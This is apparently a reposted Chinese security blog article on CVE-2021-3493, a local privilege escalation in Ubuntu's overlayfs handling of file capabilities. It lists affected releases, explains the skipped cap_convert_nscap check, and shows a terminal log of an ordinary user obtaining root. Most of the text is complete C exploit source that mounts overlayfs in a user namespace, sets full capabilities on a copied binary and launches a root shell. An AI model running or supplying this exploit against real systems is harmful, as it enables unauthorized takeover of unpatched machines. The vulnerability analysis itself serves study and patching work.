影响范围
-
Ubuntu 20 10
-
Ubuntu 20 04 LTS
-
Ubuntu 18 04 LTS
-
Ubuntu 16 04 LTS
-
Ubuntu 14 04 ESM
漏洞类型
本地权限提升
利用条件
影响范围应用
漏洞概述
Ubuntu的一个具体问题是在Linux内核中的overlayfs文件系统,它没有正确地验证文件系统功能在用户名称空间方面的应用,由于Ubuntu中的一个补丁允许非特权的overlayfs挂载,本地攻击者可以利用它来获得更高的权限。
漏洞复现
ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c -o exploitubuntu@ubuntu:~/CVE-2021-3493$ ./exploitbash-4.4# iduid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(ubuntu)bash-4.4# whoamirootbash-4.4#
漏洞分析
Linux支持file capabilities扩展文件属性,该属性的作用类似于setuid-bit,但可以更细化,使用伪代码设置文件功能的简化过程如下所示:
setxattr(...):if cap_convert_nscap(...) is not OK:then failvfs_setxattr(...)
这里的关键调用是cap_convert_nscap,它检查有关namespaces的权限
如果我们在namespaces和mount上设置文件功能,就没有问题,而且我们有这样做的权限,问题是当OverlayFS将此操作转发到底层文件系统时,它只调用vfs_setxattr并跳过cap_convert_nscap中的检查,这允许在外部namespaces/mount中的文件上设置任意功能,在执行过程中也将应用这些功能。
在Linux 5.11中,对cap_convert_scap的调用被移动到vfssetx_attr中,因此它不再易受攻击。
漏洞EXP
#define _GNU_SOURCE#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <fcntl.h>#include <err.h>#include <errno.h>#include <sched.h>#include <sys/types.h>#include <sys/stat.h>#include <sys/wait.h>#include <sys/mount.h>//#include <attr/xattr.h>//#include <sys/xattr.h>int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);#define DIR_BASE \\\"./ovlcap\\\"#define DIR_WORK DIR_BASE \\\"/work\\\"#define DIR_LOWER DIR_BASE \\\"/lower\\\"#define DIR_UPPER DIR_BASE \\\"/upper\\\"#define DIR_MERGE DIR_BASE \\\"/merge\\\"#define BIN_MERGE DIR_MERGE \\\"/magic\\\"#define BIN_UPPER DIR_UPPER \\\"/magic\\\"static void xmkdir(const char *path, mode_t mode){if (mkdir(path, mode) == -1 && errno != EEXIST)err(1, \\\"mkdir %s\\\", path);}static void xwritefile(const char *path, const char *data){int fd = open(path, O_WRONLY);if (fd == -1)err(1, \\\"open %s\\\", path);ssize_t len = (ssize_t) strlen(data);if (write(fd, data, len) != len)err(1, \\\"write %s\\\", path);close(fd);}static void xcopyfile(const char *src, const char *dst, mode_t mode){int fi, fo;if ((fi = open(src, O_RDONLY)) == -1)err(1, \\\"open %s\\\", src);if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)err(1, \\\"open %s\\\", dst);char buf[4096];ssize_t rd, wr;for (;;) {rd = read(fi, buf, sizeof(buf));if (rd == 0) {break;} else if (rd == -1) {if (errno == EINTR)continue;err(1, \\\"read %s\\\", src);}char *p = buf;while (rd > 0) {wr = write(fo, p, rd);if (wr == -1) {if (errno == EINTR)continue;err(1, \\\"write %s\\\", dst);}p += wr;rd -= wr;}}close(fi);close(fo);}static int exploit(){char buf[4096];sprintf(buf, \\\"rm -rf \\\'%s/\\\'\\\", DIR_BASE);system(buf);xmkdir(DIR_BASE, 0777);xmkdir(DIR_WORK, 0777);xmkdir(DIR_LOWER, 0777);xmkdir(DIR_UPPER, 0777);xmkdir(DIR_MERGE, 0777);uid_t uid = getuid();gid_t gid = getgid();if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)err(1, \\\"unshare\\\");xwritefile(\\\"/proc/self/setgroups\\\", \\\"deny\\\");sprintf(buf, \\\"0 %d 1\\\", uid);xwritefile(\\\"/proc/self/uid_map\\\", buf);sprintf(buf, \\\"0 %d 1\\\", gid);xwritefile(\\\"/proc/self/gid_map\\\", buf);sprintf(buf, \\\"lowerdir=%s,upperdir=%s,workdir=%s\\\", DIR_LOWER, DIR_UPPER, DIR_WORK);if (mount(\\\"overlay\\\", DIR_MERGE, \\\"overlay\\\", 0, buf) == -1)err(1, \\\"mount %s\\\", DIR_MERGE);// all+epchar cap[] = \\\"\\\\x01\\\\x00\\\\x00\\\\x02\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\\xff\\\\xff\\\\xff\\\\xff\\\\x00\\\\x00\\\\x00\\\\x00\\\";xcopyfile(\\\"/proc/self/exe\\\", BIN_MERGE, 0777);if (setxattr(BIN_MERGE, \\\"security.capability\\\", cap, sizeof(cap) - 1, 0) == -1)err(1, \\\"setxattr %s\\\", BIN_MERGE);return 0;}int main(int argc, char *argv[]){if (strstr(argv[0], \\\"magic\\\") || (argc > 1 && !strcmp(argv[1], \\\"shell\\\"))) {setuid(0);setgid(0);execl(\\\"/bin/bash\\\", \\\"/bin/bash\\\", \\\"--norc\\\", \\\"--noprofile\\\", \\\"-i\\\", NULL);err(1, \\\"execl /bin/bash\\\");}pid_t child = fork();if (child == -1)err(1, \\\"fork\\\");if (child == 0) {_exit(exploit());} else {waitpid(child, NULL, 0);}execl(BIN_UPPER, BIN_UPPER, \\\"shell\\\", NULL);err(1, \\\"execl %s\\\", BIN_UPPER);}
参考链接
https://ubuntu.com/security/CVE-2021-3493
https://www.openwall.com/lists/oss-security/2021/04/16/1
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34345.html